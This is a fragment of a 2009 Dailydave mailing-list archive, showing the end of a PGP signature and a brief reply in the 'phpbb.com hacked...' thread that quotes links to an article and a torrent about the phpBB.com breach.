iD8DBQFJqKGTPqFffxxIpwoRAiHkAJ0dNeKRnoFUD2nj5E5OTdszXpDP3wCeNvgB 95QK8mcYLOypcmTXd436d34= =u4Y2 -----END PGP SIGNATURE----- From fygrave at gmail.com Fri Feb 27 19:56:23 2009 From: fygrave at gmail.com (Fyodor) Date: Sat, 28 Feb 2009 08:56:23 +0800 Subject: [Dailydave] phpbb.com hacked... In-Reply-To: <14682017.4028201235769602287.JavaMail.juha-matti.laurio@netti.fi> References: <14682017.4028201235769602287.JavaMail.juha-matti.laurio@netti.fi> Message-ID: > The post's text is covered at > http://www.yeshack.com/Article/200902/28542.html > however. > http://thepiratebay.org/torrent/4698259/Hacked_phpBB.com_files_-_hackedphpbb